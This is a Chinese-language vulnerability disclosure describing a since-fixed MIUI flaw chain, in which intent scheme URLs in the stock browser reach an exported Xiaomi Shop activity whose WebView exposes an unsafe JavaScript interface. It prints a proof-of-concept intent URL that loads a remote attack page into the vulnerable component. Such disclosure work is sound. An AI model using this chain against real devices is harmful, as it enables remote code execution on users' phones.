關鍵字:MIUI 漏洞 小米手機
7月我在研究webview漏洞時專門挑小米手機的MIUI測試了下,發現了非常明顯的安全漏洞。通過該漏洞可以遠程獲取本地APP的權限,突破本地漏洞和遠程漏洞的界限,使本地app的漏洞遠程也能被利用,達到隔山打牛的效果。在漏洞發現的第一時間,我已經將漏洞細節報告給了小米安全響應中心,目前漏洞已經修復。
測試環境:
手機型號:MI 3
Android版本:4.2.1 JOP40D
MIUI版本:MIUI-JXCCNBE21
內核版本:3.4.35-ga656ab9
一. 小米MIUI原生瀏覽器存在意圖協議安全問題
在使用小米原生瀏覽器的時候我發現MIUI定制了網絡異常頁面, 如當前url不能訪問或網絡異常會跳轉到定制的網頁,通過點擊網頁中的鏈接可以直接進入WIFI的設置界面。
根據我以往的經驗,APP要在靜態網頁中實現進程間通信主流的方法有兩種,一種是通過addJavascriptInterface給webview加入一個javascript橋接接口,通過調用這個接口可以直接操作本地的JAVA接口。另外一種方法是使用Intent.parseUri解析URL,讓APP支持intent scheme URLs(意圖協議URL),通過解析特定格式的URL直接向系統發送意圖。
測試過后,果然發現小米瀏覽器完全支持意圖協議URL,測試過程如下,讓小米瀏覽器直接訪問下面的地址,瀏覽器會向系統發起意圖,啟動本地的日歷APP
intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end
我再翻閱了一下google官方framework中intent的源代碼:
/platform/frameworks/base/+/core/java/android/content/Intent.java
3966行的Intent.parseUri定義
if (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i);
可以明顯的看到Intent.parseUri解析URL時完全可以自定義EXTRA DATA和DATA以及acion等,通過符合格式的協議地址向本地任意APP發送任意意圖,所以如果本地某個APP的導出組件存在漏洞,我們也可以從這個入口進行遠程攻擊。
二.小米商店存在webview遠程代碼執行漏洞
順著第一部分的思路,我開始審計MIUI系統中預裝和內置的APP,希望能發現被遠程利用的漏洞。在自動漏洞掃描中,我發現小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且編譯API級別小于17,可能存在webview遠程代碼執行漏洞。
于是我針對這個APP進行了逆向分析,發現了該APP的多個導出組件,如com.xiaomi.shop.activity.MainActivity組件接受參數能夠被外部調用加載任意的網頁。
同時我發現了該組件關聯的com.xiaomi.shop.ui類初始化了一個叫WE的addJavascriptInterface漏洞接口,并且沒有做任何安全處理。
根據逆向代碼,com.xiaomi.shop.activity.MainActivity這個活動組件接受的EXTRA DATA是string類型,結合第一部分小米瀏覽器的意圖協議漏洞,可以輕松寫出漏洞驗證代碼,通過導入的網頁調用存在漏洞的JavascriptInterface接口WE,能夠以當前APP的權限執行任意的命令和JAVA代碼
intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;
S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;
end
三. 安全建議.
安卓開發者在注意用戶體驗的開發同時也應該關注安全,因為某個APP的易用功能而導致整個系統的安全性大打折扣就得不償失了。
本次分析的漏洞,如果是惡意攻擊者,通過載入遠程的惡意網頁利用ROOT漏洞攻擊,完全可以直接掌控受害者的手機,后果不可想象。據了解小米官方已經修復了小米商店APP存在的漏洞,建議小米手機和MIUI的用戶都盡快升級。